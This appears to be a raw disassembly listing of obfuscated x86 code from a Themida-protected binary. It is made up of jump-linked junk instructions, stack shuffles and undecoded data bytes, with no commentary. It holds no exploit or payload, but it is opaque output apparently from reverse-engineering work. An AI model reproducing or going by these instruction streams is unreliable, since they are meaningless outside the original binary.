db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557FC2: ; CODE XREF: Themida_:0055123Dj
push eax
mov eax, 5185003Dh
jmp loc_563BB1
; ---------------------------------------------------------------------------
loc_557FCD: ; CODE XREF: Themida_:0055A8CFj
xor edx, [esp]
xor [esp], edx
jmp loc_55E7C1
; ---------------------------------------------------------------------------
dd 4C5815Dh, 81000000h, 4C5h, 242C8700h, 0FFF33FE9h, 0E9F700FFh
dd 2704h, 8743DF87h, 62B951DFh, 810EC465h, 402684C9h, 9E63E94Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55800A: ; CODE XREF: Themida_:0055B4D5j
pop esp
mov [esp], edx
mov edx, 1
jmp loc_564E2A
; ---------------------------------------------------------------------------
loc_558018: ; CODE XREF: Themida_:0055A1D0j
pop ecx
or eax, ebx
mov ebx, [esp]
add esp, 4
add eax, 0BA2BA4B5h
push esi
jmp loc_551C4D
; ---------------------------------------------------------------------------
loc_55802F: ; CODE XREF: Themida_:00555B61j
xchg esi, [esp]
mov esp, [esp]
add esp, 4
jmp loc_55F95C
; ---------------------------------------------------------------------------
dd 0C2815A54h, 4, 0D438E9h, 24348B00h, 6804C483h, 1C63h
dd 52243489h, 9530E6BAh, 8BD68977h, 0C4832414h, 0E9C38104h
dd 29567C18h, 67B951F3h, 813EC829h, 4ECh, 24148900h, 0A721E9h
dd 81E28900h, 4C2h, 0BA78E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558092: ; CODE XREF: Themida_:00555A4Aj
mov [esp], edx
push ebp
jmp loc_56067F
; ---------------------------------------------------------------------------
loc_55809B: ; CODE XREF: Themida_:0055876Aj
xor ecx, [esp]
mov esp, [esp]
push 6473h
mov [esp], ebx
push eax
mov al, dl
push esi
mov esi, esp
add esi, 4
push eax
mov eax, 4
sub esi, eax
pop eax
xchg esi, [esp]
pop esp
mov [esp], edx
jmp loc_557DA4
; ---------------------------------------------------------------------------
loc_5580CA: ; CODE XREF: Themida_:00553BD7j
sub esi, edx
add esi, 76DF73CBh
push dword ptr [esp]
jmp loc_565C96
; ---------------------------------------------------------------------------
dw 0FD00h
dd 8B4DED80h, 0C481241Ch, 4, 0E976EB80h, 0B8FDh
; ---------------------------------------------------------------------------
loc_5580F0: ; CODE XREF: Themida_:005524DDj
mov [esp], ebx
jmp loc_552387
; ---------------------------------------------------------------------------
loc_5580F8: ; CODE XREF: Themida_:00563555j
push 5549h
mov [esp], edx
jmp loc_553C1B
; ---------------------------------------------------------------------------
db 68h, 0AFh, 66h
dd 0C890000h, 7487B924h, 0BE56565Ah, 565A7485h, 0B9E9F129h
db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55811F: ; CODE XREF: Themida_:0056441Fj
inc ah
add ah, 0B3h
xor ah, 0A3h
add bl, 9Dh
add bl, ah
jmp loc_55701D
; ---------------------------------------------------------------------------
db 5Ch, 53h, 54h
dd 4C3815Bh, 0E9000000h, 2F1Bh
; ---------------------------------------------------------------------------
loc_558140: ; CODE XREF: Themida_:0055924Cj
pop esi
jmp loc_55F34E
; ---------------------------------------------------------------------------
aISnl db '┴,$ИnL',0
align 2
loc_55814E: ; CODE XREF: Themida_:00556508j
add edi, 51D4E62Eh
mov ebp, edi
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
xor esi, ebp
jmp loc_552239
; ---------------------------------------------------------------------------
aSzi db 'Ё:И╖╗',0
align 10h
a_sm db '_ИMю',0
align 2
aAaPsau db '─МЛPИ²u',0
dw 8100h
aYu2ysjc db 'гуyu2YИjc',0
dw 6800h
dd 79E2h, 0BA241489h, 40FE2E3Bh, 3970E9h, 0FFCE3100h, 0CE92434h
db 9Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5581B7: ; CODE XREF: Themida_:00557E63j
xchg eax, [esp]
mov esp, [esp]
pop dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5599E8
; ---------------------------------------------------------------------------
db 8Bh
dd 0E2E9240Ch, 0BDFFFFC2h, 59384C0Ah, 99E9DDF7h, 0F7000089h
dd 7BC681DEh, 0C1041106h, 0DE907EEh, 1000010h, 23E955E8h
dd 100008Fh, 0A660E9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5581FE: ; CODE XREF: Themida_:0055C360j
sub ebp, 4B90501h
add esi, ebp
jmp loc_55ABA5
; ---------------------------------------------------------------------------
db 29h
dd 89C381D3h, 0E9719733h, 0FFFFB894h, 5357E955h, 3C330000h
dd 24248B24h, 9C2404D2h, 9B72E9h
db 0
; ---------------------------------------------------------------------------
loc_55822D: ; CODE XREF: Themida_:0055D716j
add edi, ebp
jmp loc_5517D5
; ---------------------------------------------------------------------------
dword_558234 dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF876Bh
; DATA XREF: Themida_:00550910o
; ---------------------------------------------------------------------------
loc_558244: ; CODE XREF: Themida_:005568EFj
mov esi, esp
jmp loc_556330
; ---------------------------------------------------------------------------
byte_55824B db 0FFh ; DATA XREF: Themida_:0055076Co
dd 5CE92C77h
db 87h, 2 dup(0FFh)
byte_558253 db 0FFh ; DATA XREF: Themida_:00550748o
dd 669D1C77h, 24041058h, 874DE99Ch, 0C481FFFFh, 4, 0E9E68956h
dd 0FFFF8755h, 2DFC281h, 47687C6Dh, 89000040h, 1AE9240Ch
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558283: ; CODE XREF: Themida_:005616EEj
add edi, 0FE571771h
and eax, edi
jmp loc_55E202
; ---------------------------------------------------------------------------
aBiFa0zs?v db '│КеFa0ZИ?V',0
align 4
dd 0E9240C89h, 0FFFF870Bh
; ---------------------------------------------------------------------------
loc_5582A4: ; CODE XREF: Themida_:0055C754j
pop ebx
add ebx, 4
add ebx, 4
jmp loc_55AA47
; ---------------------------------------------------------------------------
db 81h
dd 0A304246Ch, 296AE723h, 8104245Ch, 0A3042444h, 8B6AE723h
dd 0C481241Ch, 4, 83242C8Bh, 0C58104C4h, 3D724E34h, 1EC7815Eh
dd 52512E63h, 3A7E08BAh, 4E2C134h, 0FFCD8CE9h, 1C8B66FFh
dd 5C07E924h, 5A680000h, 0E9000060h, 0FFFFA3E6h
; ---------------------------------------------------------------------------
loc_558304: ; CODE XREF: Themida_:00556032j
mov ebp, esi
jmp loc_552477
; ---------------------------------------------------------------------------
db 55h
dd 892F52BDh, 0E9E80166h, 0FFFFC75Dh
; ---------------------------------------------------------------------------
loc_558318: ; CODE XREF: Themida_:00555DE5j
push edi
mov edi, esp
jmp loc_55B03D
; ---------------------------------------------------------------------------
loc_558320: ; CODE XREF: Themida_:00562E55j
sub ebx, 6850590h
add ebx, esi
add ebx, 6850590h
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push 96Dh
mov [esp], ebp
push esp
pop ebp
jmp loc_552927
; ---------------------------------------------------------------------------
loc_558360: ; CODE XREF: Themida_:00551219j
pop ecx
add ecx, eax
pop eax
push ecx
jmp loc_55736D
; ---------------------------------------------------------------------------
aBCv?Sb db '│фC┌?ЙИ│╫',0
db 0
; ---------------------------------------------------------------------------
loc_558375: ; CODE XREF: Themida_:0055C164j
push 6967h
jmp loc_564C33
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 29A4E900h, 0B7530000h, 241FE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558392: ; CODE XREF: Themida_:0056006Dj
not ebx
add ebx, 1
push esi
mov esi, 1CF47AD9h
jmp loc_5527F6
; ---------------------------------------------------------------------------
loc_5583A5: ; CODE XREF: Themida_:0055B0ECj
add edx, 74641AF1h
and edx, 4F0F1B50h
not edx
add edx, 0A3C08975h
jmp loc_55258F
; ---------------------------------------------------------------------------
dw 0C801h
dd 0D101E959h, 74FF0000h, 8F5F0424h, 895C2404h, 5255240Ch
dd 0FEBAh, 5AD58900h, 0E95DE989h, 0C8E5h
; ---------------------------------------------------------------------------
loc_5583E4: ; CODE XREF: Themida_:00552024j
shr eax, 0Ah
xor eax, ecx
xor eax, esi
xor esi, eax
jmp loc_559F1D
; ---------------------------------------------------------------------------
dw 0E950h
dd 0FFFFA627h
; ---------------------------------------------------------------------------
loc_5583F8: ; CODE XREF: Themida_:0055AABEj
; Themida_:0055DF11j ...
push 414Eh
mov [esp], edx
push ebx
mov ebx, 24h
push ebx
jmp loc_55CC84
; ---------------------------------------------------------------------------
dd 15DEE01h, 0A2EE81DEh, 5B3B4B7Ch, 0E9243487h, 3190h
; ---------------------------------------------------------------------------
loc_558420: ; CODE XREF: Themida_:00562A82j
mov ebx, [esp]
add esp, 4
sub esi, 1C511FD9h
add esi, ecx
add esi, 1C511FD9h
jmp loc_565A20
; ---------------------------------------------------------------------------
db 89h, 0E6h, 81h
dd 4C6h, 6801E900h, 0D60C0000h, 0FF8589E9h, 59CA29FFh
dd 2414875Fh, 8924248Bh, 50E92404h, 0BDFFFF85h, 68E10C7Bh
dd 37BDE9h
db 0
; ---------------------------------------------------------------------------
loc_558469: ; CODE XREF: Themida_:00560355j
sub ebp, 4D786108h
jmp loc_56322E
; ---------------------------------------------------------------------------
loc_558474: ; CODE XREF: Themida_:00552444j
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
push 5422h
mov [esp], ebp
mov ebp, esp
jmp loc_55675A
; ---------------------------------------------------------------------------
db 89h
dd 0EC832434h, 242C8904h, 0FFA20AE9h, 7D84BAFFh, 0F2810129h
dd 15E847A1h, 88AFE94Ah, 8B660000h, 0C483240Ch, 0E9545702h
dd 6D5Fh
; ---------------------------------------------------------------------------
loc_5584BC: ; CODE XREF: Themida_:00559CD1j
add bl, 98h
pop cx
add bl, al
push dx
push small 48CCh
mov [esp], ax
mov ah, 8
push ebx
mov bh, ah
push 12DEh
mov [esp], eax
push ecx
mov cl, bh
mov al, cl
jmp loc_564406
; ---------------------------------------------------------------------------
dd 0E9241C89h, 41AFh, 0C15BD901h, 0D3E905E9h, 8900005Fh
dd 52552424h, 5F3172BAh, 0C55CE97Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558506: ; CODE XREF: Themida_:0055F896j
mov ebx, 4
add ecx, ebx
mov ebx, [esp]
add esp, 4
xchg ecx, [esp]
jmp loc_55FA43
; ---------------------------------------------------------------------------
db 81h
dd 7A3C242Ch, 4811D99h, 0DF0ACB24h, 0BDF3E935h, 0C330000h
dd 876FE924h, 36680000h, 89000058h, 6DBA2414h, 0E92AD51Ah
dd 0FFFFA9D3h, 8007E3C0h, 0DE30FDF3h, 51E9505Bh
db 5Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558557: ; CODE XREF: Themida_:00551720j
mov [esp], ebp
mov ebp, 4
add edi, 0E5B4576h
add edi, ebp
jmp loc_5647A9
; ---------------------------------------------------------------------------
aZs2m db 'ZИ2▄',0
align 2
loc_558572: ; CODE XREF: Themida_:0055A774j
mov eax, ebp
pop ebp
add ebp, 61F0763Bh
add ebp, eax
sub ebp, 61F0763Bh
push dword ptr [esp]
pop eax
jmp loc_552B54
; ---------------------------------------------------------------------------
dd 0E924148Bh, 9C69h, 0AFC68h, 24348900h, 12A68h, 0E93CE900h
dd 0CD80FFFFh, 0BF5807Bh, 3059EF00h, 88525BF9h, 0E9D088CAh
dd 0FFFFAF12h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 62A0BB53h
dd 0BD5547FBh, 3E26171Ch, 3FAEED81h, 0BF5774F1h, 39225925h
dd 87E9E7D1h, 0FFFFFFA6h, 0E9592434h, 6FBEh
; ---------------------------------------------------------------------------
loc_5585F4: ; CODE XREF: Themida_:005577CEj
add ebx, 4
xchg ebx, [esp]
jmp loc_55DA73
; ---------------------------------------------------------------------------
loc_558602: ; CODE XREF: Themida_:00561BEEj
mov esp, [esp]
or eax, eax
jz loc_565610
push 40D2h
mov [esp], edx
push 1Ch
jmp loc_5574A8
; ---------------------------------------------------------------------------
db 51h
dd 4B9h, 59CE2900h, 3194E9h
db 0
; ---------------------------------------------------------------------------
loc_55862D: ; CODE XREF: Themida_:0055F75Fj
push 5A67h
mov [esp], ebp
push 6AAEh
jmp loc_562CCF
; ---------------------------------------------------------------------------
db 54h
dd 70BD555Bh, 536F8754h, 0FFCA73E9h, 24248BFFh, 29C56856h
dd 4890000h, 46824h, 89580000h, 0F30158C6h, 0E459E95Eh
db 2 dup(0FFh)
word_55866A dw 8B66h ; DATA XREF: Themida_:005508E0o
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 1A37h
jmp loc_565010
; ---------------------------------------------------------------------------
db 29h
dd 0BA5251F0h, 1FD35CBEh, 415AD189h, 0AF7E9h
db 0
; ---------------------------------------------------------------------------
loc_55868D: ; CODE XREF: Themida_:0055AADBj
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_55869A: ; CODE XREF: Themida_:00554CEBj
mov [esp], ebp
mov ebp, esp
push ebx
mov ebx, 5151080h
push edx
mov edx, 6756309Fh
shr edx, 1
jmp loc_5540B1
; ---------------------------------------------------------------------------
dw 0ED81h
dd 22516E96h, 8103EDC1h, 0B9742DF5h, 5DE8290Dh, 67EBE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5586CA: ; CODE XREF: Themida_:00565121j
mov ecx, 202E393h
jmp loc_564585
; ---------------------------------------------------------------------------
dd 3DC380h, 55CFE9F3h, 0C870000h, 24248B24h, 9C2424D2h
dd 0FF82C2E9h, 5EF529FFh, 89EF8957h, 455BE9FBh, 0C3280000h
dd 80B2EB80h, 0B60F9BEBh, 148B66C0h, 59545124h, 6A22BB53h
dd 0C3815A89h, 0A57695E2h, 685BD901h, 128Dh, 0E9242C89h
dd 0FFFFF338h, 705283BEh, 81D6F756h, 8FAD78F6h, 0E9F301A9h
dd 554Ch
; ---------------------------------------------------------------------------
loc_55873C: ; CODE XREF: Themida_:0055F2F4j
xor ebp, 32C94496h
add esi, ebp
push dword ptr [esp]
pop ebp
push esi
mov esi, esp
push ecx
mov ecx, 42E3734Ch
sub ecx, 42E37348h
jmp loc_55E07F
; ---------------------------------------------------------------------------
loc_55875C: ; CODE XREF: Themida_:0055F151j
push dword ptr [esp]
jmp loc_563A70
; ---------------------------------------------------------------------------
loc_558764: ; CODE XREF: Themida_:0055EFC8j
xor ecx, [esp]
xor [esp], ecx
jmp loc_55809B
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481242Ch, 4, 0FFE08CE9h, 240487FFh, 0FFDDBAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558785: ; CODE XREF: Themida_:0055A2E9j
not ebp
add ebp, 0C0CCA223h
jmp loc_55EA0B
; ---------------------------------------------------------------------------
word_558792 dw 8B66h ; DATA XREF: Themida_:00550890o
dd 0E956240Ch, 85DCh
; ---------------------------------------------------------------------------
loc_55879C: ; CODE XREF: Themida_:00557EC0j
xchg ebp, [esp]
pop esp
push 633Ch
jmp loc_561C30
; ---------------------------------------------------------------------------
loc_5587AA: ; CODE XREF: Themida_:00553BF0j
push ebx
mov ebx, 17087FFBh
jmp loc_55D8C5
; ---------------------------------------------------------------------------
loc_5587B5: ; CODE XREF: Themida_:00557423j
mov [esp], ebx
jmp loc_55BF30
; ---------------------------------------------------------------------------
db 31h, 1Ch, 24h
dd 0E9241C33h, 7F13h
; ---------------------------------------------------------------------------
loc_5587C8: ; CODE XREF: Themida_:00555478j
xor edi, 200C69B9h
jmp loc_5525F6
; ---------------------------------------------------------------------------
loc_5587D3: ; CODE XREF: Themida_:00563FF1j
add eax, edx
jmp loc_5622C6
; ---------------------------------------------------------------------------
dw 489h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55A0FD
; ---------------------------------------------------------------------------
db 80h, 0EFh, 90h
dd 89EF8058h, 0B353F0B1h, 0C3B551CEh, 284BED80h, 0EBC059EBh
dd 0E9C3FE06h, 0FFFFE3EAh, 56241C89h, 0C681E689h, 4, 4853E9h
dd 0D1BE5600h, 57670D43h, 0EF4C79BFh, 6835E962h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558826: ; CODE XREF: Themida_:0055F17Aj
mov esp, [esp]
push ecx
push 4D4Bh
mov [esp], esi
push edx
jmp loc_565C71
; ---------------------------------------------------------------------------
dd 0E9243C89h, 0FFFF9DD5h, 4F31E95Ch, 815D0000h, 8D0F1FC5h
dd 3E5C118h, 39AAC581h, 505649FEh, 0BB5781B8h, 4E0C153h
dd 0C5665A35h, 8BC689BFh, 0C4812404h, 4, 34FFF501h, 0C4835E24h
dd 5DEB8904h, 6ADBF57h, 0FA010A3Ah, 76C2815Fh, 172E758h
dd 76EA81DAh, 8172E758h, 3A06ADEAh, 9C99E90Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55889E: ; CODE XREF: Themida_:00557349j
dec dh
push cx
mov cl, 39h
jmp loc_55D6E9
; ---------------------------------------------------------------------------
loc_5588A9: ; CODE XREF: Themida_:00552CCDj
pop ecx
xchg esi, [esp]
jmp loc_55B181
; ---------------------------------------------------------------------------
loc_5588B2: ; CODE XREF: Themida_:00560692j
add [esp+8], ebx
pop ebx
add [esp+4], edx
jmp loc_554972
; ---------------------------------------------------------------------------
dword_5588C0 dd 9D1C77FFh, 1CD25966h, 0E0E99C24h, 89FFFF80h, 81512424h
; DATA XREF: Themida_:00550730o
dd 4ECh, 241C8900h, 0A36B7768h, 0E9435B39h, 0FFFFAD3Ch
dd 43FB68h, 242C8900h, 0C581E589h, 4, 4EC8156h, 89000000h
dd 4468240Ch, 8B2A983Ch, 0C481240Ch, 4, 2639F181h, 8B5159F0h
dd 0C4832434h, 240C8B04h, 5E08950h, 4, 405h, 24048700h
dd 63B4E95Ch, 0C1B10000h, 5966C800h, 592434FFh, 6804C483h
dd 6ECh, 0B0240489h, 84686693h, 0C896653h, 0BF8DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55895A: ; CODE XREF: Themida_:005519DCj
add ebx, ecx
pop ecx
push edx
push ebp
push esi
mov esi, 4AF52805h
sub esi, 606259CEh
sub esi, 87D9BD4Ch
mov ebp, esi
pop esi
mov edx, 62B910EFh
sub edx, 21926DBDh
jmp loc_559D03
; ---------------------------------------------------------------------------
aOsO db 'OИЛ▌',0
align 2
dw 73B8h
dd 0C12DBD13h, 0AF0507E0h, 816E4855h, 4ECh, 242C8900h
dd 0AB6692BDh, 73ED8125h, 0C13A2B24h, 0ED8105EDh, 49A313FAh
dd 5FADF581h, 0ED8143D4h, 71264FAEh, 295DE801h, 24048BC3h
dd 6EECE9h, 56180500h, 0D8010266h, 6656182Dh, 4875B02h
dd 6E7BE924h, 0F7BE0000h, 0E9FCCC17h, 0BF22h, 0FF7FBEE9h
dd 8EC281FFh, 16CCB64h, 348B5AD5h, 90E5E924h, 0B60F0000h
dd 8734FFC0h, 0FF7FA2E9h, 4C481FFh, 55000000h, 0FFBC70E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558A19: ; CODE XREF: Themida_:00559DE1j
xchg esi, [esp]
mov esp, [esp]
jmp loc_5509AF
; ---------------------------------------------------------------------------
dd 0C281DA29h, 4A5E1E44h, 83241C8Bh, 555604C4h, 58223EBDh
dd 0FFA4E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558A3E: ; CODE XREF: Themida_:0056031Aj
mov esi, 4
sub ebp, esi
pop esi
xchg ebp, [esp]
pop esp
mov [esp], eax
mov ecx, [esp]
add esp, 4
push ecx
pop edx
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_55C8BD
; ---------------------------------------------------------------------------
loc_558A78: ; CODE XREF: Themida_:00557BD6j
push 244Ch
mov [esp], ecx
push 65D6h
jmp loc_55A4D7
; ---------------------------------------------------------------------------
dw 0BE56h
dd 4, 89CC381h, 0F32915DBh, 89CEB81h, 2CE915DBh
db 98h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558AA3: ; CODE XREF: Themida_:0055D565j
shr eax, 18h
xor eax, ecx
push 50D4h
mov [esp], eax
xchg ebp, [esp]
push 2A9Ah
mov [esp], ebp
xchg esi, [esp]
not esi
xor [esp], esi
jmp loc_552760
; ---------------------------------------------------------------------------
dd 405h, 0BEE95100h, 50000099h, 24048B5Eh, 5004C483h, 0A84E9BB8h
dd 2E8C14Ch, 0BA20090Dh, 510E917h, 14890000h, 445CBA24h
dd 0FA314823h, 0FA31D731h, 0FA87DFF7h, 0E5EA814Ah, 81166C6Eh
dd 8FB344C2h, 625CE95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558B12: ; CODE XREF: Themida_:00551044j
add al, 32h
add bl, 0B8h
add bl, al
push ecx
jmp loc_55FD11
; ---------------------------------------------------------------------------
db 81h
dd 6D53D4EAh, 0AF14E937h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558B2A: ; CODE XREF: Themida_:005563C0j
pop esp
mov [esp], edx
push esp
pop edx
jmp loc_550CF9
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0C6h
dd 0E9045D23h, 0FFFF8790h
; ---------------------------------------------------------------------------
loc_558B40: ; CODE XREF: Themida_:00555BEAj
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
mov esi, [esp]
push ebx
jmp loc_55C154
; ---------------------------------------------------------------------------
db 66h, 29h, 0D0h
dd 5253665Ah, 40ABA66h, 24E3BB66h, 0EAEB8166h, 0DB7CE917h
dd 0B068FFFFh, 8900002Eh, 0EC81240Ch, 4
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_556C34
; ---------------------------------------------------------------------------
loc_558B97: ; CODE XREF: Themida_:005619FBj
and eax, edi
mov edi, [esp]
push 4052h
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_55EE3D
; ---------------------------------------------------------------------------
dw 0E901h
dd 1856E9h
db 0
; ---------------------------------------------------------------------------
loc_558BC1: ; CODE XREF: Themida_:00550AC4j
sub eax, ecx
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ebx, 1AF02B10h
add ebx, eax
sub ebx, 1AF02B10h
pop eax
xchg ebx, [esp]
pop esp
push edx
mov edx, 2
sub ebp, 133110F3h
jmp loc_55A829
; ---------------------------------------------------------------------------
db 28h
dd 241C8BDDh, 4C481h, 0C5800000h, 0DAC5E98Dh, 0D968FFFFh
dd 89000011h, 0B050240Ch, 0C010452h, 0F824E903h
db 2 dup(0FFh)
word_558C22 dw 30ACh ; DATA XREF: Themida_:0055075Co
dd 0B05051D8h, 531C34C2h, 8F10E9h, 5B36800h, 0E95E2BCBh
dd 0B5FDh, 0ED81D529h, 27234B19h, 0A7FE9h, 24048B00h, 0E904C483h
dd 0FFFFB01Fh, 24348B5Fh, 0FFB317E9h, 0DEE959FFh, 1FFFFBAh
dd 0FA875DEFh, 138DE956h, 0C890000h, 3FCB924h, 0CE890000h
dd 0FFFFE0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558C7D: ; CODE XREF: Themida_:0055797Aj
mov dh, al
pop eax
jmp loc_56169F
; ---------------------------------------------------------------------------
db 81h, 2Ch, 24h
dd 48CE021Eh, 8324348Bh, 0C68104C4h, 48CE021Eh, 0DBF6815Ah
dd 0E967256Dh, 5171h, 4B16858h, 34890000h, 2474FF24h, 2434FF04h
dd 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h, 0C4815C24h
dd 4, 8B24048Fh, 89662424h, 0D0E92404h, 81FFFF7Ch, 0F1091AF6h
dd 0B4EE8133h, 167705Ch, 14875EF2h, 24248B24h, 0FFB8D3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558CF9: ; CODE XREF: Themida_:00561FD3j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push ebx
jmp loc_563562
; ---------------------------------------------------------------------------
db 0B0h, 19h, 0
aSkg db 'бИKg',0
align 2
dw 0F681h
dd 1BF35AB0h, 4605EEC1h, 2339F681h, 0F6812BD7h, 39179453h
dd 7AFDE9h, 9E94300h
db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558D33: ; CODE XREF: Themida_:0055B8ACj
sub esi, ebp
jmp loc_55C5CF
; ---------------------------------------------------------------------------
loc_558D3A: ; CODE XREF: Themida_:00552844j
add esp, 4
shr ecx, 7
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_55F887
; ---------------------------------------------------------------------------
dw 8358h
dd 1C8904ECh, 81E38924h, 4C3h, 0EAE95500h, 81000004h, 4C2h
dd 4EC8300h, 68242C89h, 6CCE2EA6h, 4DE5D15Dh, 5D49F581h
dd 0C281D99Ch, 116D16F2h, 0EA81EA01h, 116D16F2h, 74FF525Dh
dd 8F5A0424h, 665C2404h, 6824048Bh, 743Fh, 89240C89h, 63E952E1h
dd 0BE000033h, 4, 685EF701h, 55C5h, 0B8240489h, 2, 5BADB951h
dd 0EF812C4Bh, 327579D5h, 0B8E9CF29h
db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558DD7: ; CODE XREF: Themida_:0055E326j
pop edi
jmp loc_557447
; ---------------------------------------------------------------------------
loc_558DDD: ; CODE XREF: Themida_:00555686j
shl ecx, 1
sub ecx, 0D3510097h
jmp loc_55C200
; ---------------------------------------------------------------------------
dw 0E589h
dd 4C581h, 0E9530000h, 0DEh, 8B240C89h, 0C483243Ch, 7BE95904h
dd 80FFFF7Fh, 41E9E1F4h, 0D1FFFF93h, 12EA81E2h, 81A37C6Ah
dd 500509EFh, 53D70172h, 331CDBBBh, 2EC3816Dh, 1051CE8h
dd 24E95BDFh, 5AFFFFD1h, 4C481h, 0E9310000h, 0B7BE565Dh
dd 0E915E820h, 3BA1h
dword_558E48 dd 240C8B66h, 0C8B5451h, 0E3895324h, 4C381h, 0C3810000h
; DATA XREF: Themida_:005506F0o
dd 4, 5C241C87h, 0E0685650h, 0E97BB77Bh, 3A0Fh
; ---------------------------------------------------------------------------
loc_558E70: ; CODE XREF: Themida_:00550C21j
pop ebp
push ebx
mov ebx, esp
push edi
mov edi, 4
jmp loc_5532B7
; ---------------------------------------------------------------------------
loc_558E7F: ; CODE XREF: Themida_:0055DB09j
push 5438h
mov [esp], edx
mov ecx, [esp]
add esp, 4
jmp loc_55145B
; ---------------------------------------------------------------------------
dw 0DAF7h
dd 1CC8CA81h, 87E93571h, 810000B6h, 8002F9C2h, 0C1DAF76Eh
dd 0F28108EAh, 2427A2h, 875AD701h, 815C243Ch, 476028C5h
dd 81F5015Fh, 476028EDh, 35ED815Fh, 8B0BE138h, 0C4832434h
dd 0AFD7E904h, 0E3890000h, 4C381h, 55E90000h, 5A000003h
dd 2A02742Dh, 0E9F8017Dh, 4BA3h, 0EC009BB5h, 0C1F8E9h
dd 0E935B300h, 82C2h, 2434FF5Ah, 4C48358h, 4C7AEE81h, 0D60158B4h
dd 4EC81h, 1BE90000h, 89000044h, 0FE315FFEh, 0E9EED15Fh
dd 0FFFF7C03h
; ---------------------------------------------------------------------------
loc_558F28: ; CODE XREF: Themida_:005653F1j
pop ebx
jmp loc_55E80C
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 401BE9h, 4C28100h, 83000000h, 143304C2h, 24143124h
dd 5C241433h, 0FF7A5EE9h, 2EC381FFh, 81606E3Ch, 2C2AE2EBh
dd 4EBC16Ah, 0FFC8A2E9h, 241C89FFh, 0D93085B3h, 59CC285Bh
dd 0E9FBEB80h, 0FFFFE546h, 570DEB81h, 2BE91FD3h, 59FFFFAFh
dd 73B8C681h, 0CE012954h, 73B8EE81h, 92E92954h
db 66h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558F97: ; CODE XREF: Themida_:0055687Dj
mov eax, 31372A6Ah
sub eax, 0E80EF9CDh
sub ebp, eax
pop eax
sub ebp, edi
jmp loc_56496F
; ---------------------------------------------------------------------------
loc_558FAB: ; CODE XREF: Themida_:00559CB5j
pop edx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5538CC
; ---------------------------------------------------------------------------
loc_558FC0: ; CODE XREF: Themida_:005602C2j
or edi, 2CDD258Eh
and edi, 4A2C543Ah
shl edi, 7
inc edi
xor edi, 4AE36CE8h
add ecx, edi
pop edi
jmp loc_56041B
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 5C24048Fh, 89243489h, 4C681E6h, 51000000h, 2B9h
dd 2431E900h, 89050000h, 15D2CDCh, 0DEF758C6h, 0C124BD55h
dd 0EE817DFDh, 32C24970h, 0FF9D6BE9h, 67B859FFh, 0E94E93ECh
dd 0FFFFAD9Eh, 5C241C87h, 0FFDCE5E9h, 4C481FFh, 8F000000h
dd 665C2404h, 9C242CD3h, 0FF796EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559041: ; CODE XREF: Themida_:00557018j
xor ebp, 9FA652h
add ebx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_55CCA1
; ---------------------------------------------------------------------------
dd 8B241C33h, 9E682424h, 8900003Fh, 0E954242Ch, 1C8h, 81E38953h
dd 4C3h, 9042E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559076: ; CODE XREF: Themida_:0055A9AFj
